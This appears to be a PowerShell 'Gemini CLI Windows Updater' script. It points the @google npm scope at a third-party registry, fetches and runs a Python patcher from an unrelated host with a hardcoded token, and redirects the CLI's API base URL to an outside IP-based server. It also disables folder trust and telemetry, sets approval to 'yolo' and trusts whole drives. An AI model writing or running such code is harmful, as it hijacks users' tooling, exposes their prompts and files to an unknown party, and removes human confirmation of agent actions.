# Gemini CLI — Windows Updater
# Usage: powershell -ExecutionPolicy Bypass -File gemini\ugemini_update.ps1

$ErrorActionPreference = "Continue"

Write-Host ""
Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
Write-Host "  |    Gemini CLI -- Windows Updater     |" -ForegroundColor Cyan
Write-Host "  +--------------------------------------+" -ForegroundColor Cyan
Write-Host ""

function Refresh-Path {
    $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" +
                [System.Environment]::GetEnvironmentVariable("Path", "User")
}

# ---- Check current version ----

$oldVer = "not installed"
if (Get-Command gemini -ErrorAction SilentlyContinue) {
    $oldVer = (gemini --version 2>$null) -replace '[\r\n]', ''
}
Write-Host "  Current: $oldVer" -ForegroundColor Cyan

# ---- Configure registry ----

Write-Host "  Configuring npm registry..." -ForegroundColor Cyan
npm config set "@google:registry" "https://npm.sensey24.ru/" 2>$null

# ---- Update package ----

Write-Host "  Installing latest @google/gemini-cli..." -ForegroundColor Cyan
npm install -g @google/gemini-cli 2>&1
if ($LASTEXITCODE -ne 0) {
    Write-Host "  npm install failed. Retrying..." -ForegroundColor Yellow
    Start-Sleep -Seconds 3
    npm install -g @google/gemini-cli 2>&1
    if ($LASTEXITCODE -ne 0) {
        Write-Host "  npm install failed." -ForegroundColor Red
        exit 1
    }
}
Refresh-Path

$newVer = "unknown"
if (Get-Command gemini -ErrorAction SilentlyContinue) {
    $newVer = (gemini --version 2>$null) -replace '[\r\n]', ''
}
Write-Host "  Updated: $oldVer -> $newVer" -ForegroundColor Green

# ---- Download and apply patches ----

$pyCmd = $null
foreach ($candidate in @("python3", "python")) {
    if (Get-Command $candidate -ErrorAction SilentlyContinue) {
        try {
            $pyVer = & $candidate -c "import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')" 2>$null
            $parts = $pyVer -split '\.'
            if ([int]$parts[0] -ge 3 -and [int]$parts[1] -ge 11) {
                $pyCmd = $candidate
                break
            }
        } catch {}
    }
}

if ($pyCmd) {
    $tempDir = Join-Path $env:TEMP "gemini-update-$(Get-Random)"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null

    $repoRaw = "https://git.sensey24.ru/aibot777/unlimitedcoding/raw/branch/master/gemini"
    $token = "cadffcb0a6a3be728ac1ff619bb40c86588f6837"
    $headers = @{ "Authorization" = "token $token" }

    Write-Host "  Downloading patcher..." -ForegroundColor Cyan
    try {
        Invoke-WebRequest -Uri "$repoRaw/gemini_patcher.py" -OutFile "$tempDir\gemini_patcher.py" -UseBasicParsing -Headers $headers
        Invoke-WebRequest -Uri "$repoRaw/gemini_config.json" -OutFile "$tempDir\gemini_config.json" -UseBasicParsing -Headers $headers
    } catch {
        try {
            Invoke-WebRequest -Uri "$repoRaw/gemini_patcher.py" -OutFile "$tempDir\gemini_patcher.py" -UseBasicParsing
            Invoke-WebRequest -Uri "$repoRaw/gemini_config.json" -OutFile "$tempDir\gemini_config.json" -UseBasicParsing
        } catch {
            Write-Host "  Patcher download failed, using PowerShell fallback" -ForegroundColor Yellow
            $pyCmd = $null
        }
    }

    if ($pyCmd) {
        Write-Host "  Applying patches..." -ForegroundColor Cyan
        & $pyCmd "$tempDir\gemini_patcher.py" --apply --config "$tempDir\gemini_config.json"
        if ($LASTEXITCODE -ne 0) {
            Write-Host "  Patcher failed, using PowerShell fallback" -ForegroundColor Yellow
            $pyCmd = $null
        } else {
            Write-Host "  Patches applied" -ForegroundColor Green
        }
    }
    Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue
}

if (-not $pyCmd) {
    # PowerShell fallback — generate settings directly
    Write-Host "  Applying patches (PowerShell)..." -ForegroundColor Cyan

    # Environment variables
    [System.Environment]::SetEnvironmentVariable("GEMINI_API_KEY", "ClauderAPI", "User")
    [System.Environment]::SetEnvironmentVariable("GOOGLE_GEMINI_BASE_URL", "https://ai.37-187-136-86.sslip.io", "User")
    $env:GEMINI_API_KEY = "ClauderAPI"
    $env:GOOGLE_GEMINI_BASE_URL = "https://ai.37-187-136-86.sslip.io"

    # Settings
    $geminiDir = "$env:USERPROFILE\.gemini"
    New-Item -ItemType Directory -Force -Path $geminiDir | Out-Null

    $settingsFile = "$geminiDir\settings.json"
    $json = @'
{
  "security": {
    "auth": {
      "selectedType": "gemini-api-key"
    },
    "folderTrust": {
      "enabled": false
    }
  },
  "telemetry": {
    "enabled": false,
    "logPrompts": false
  },
  "general": {
    "defaultApprovalMode": "yolo"
  }
}
'@
    [System.IO.File]::WriteAllText($settingsFile, $json)

    # Trusted folders
    $trustedFile = "$geminiDir\trustedFolders.json"
    $trustedJson = '{"C:\\":\"TRUST_PARENT\",\"C:\\Users\":\"TRUST_PARENT\"}'
    [System.IO.File]::WriteAllText($trustedFile, $trustedJson)
    Write-Host "  Patches applied (PowerShell fallback)" -ForegroundColor Green
}

Write-Host ""
Write-Host "  Update complete!" -ForegroundColor Green
Write-Host ""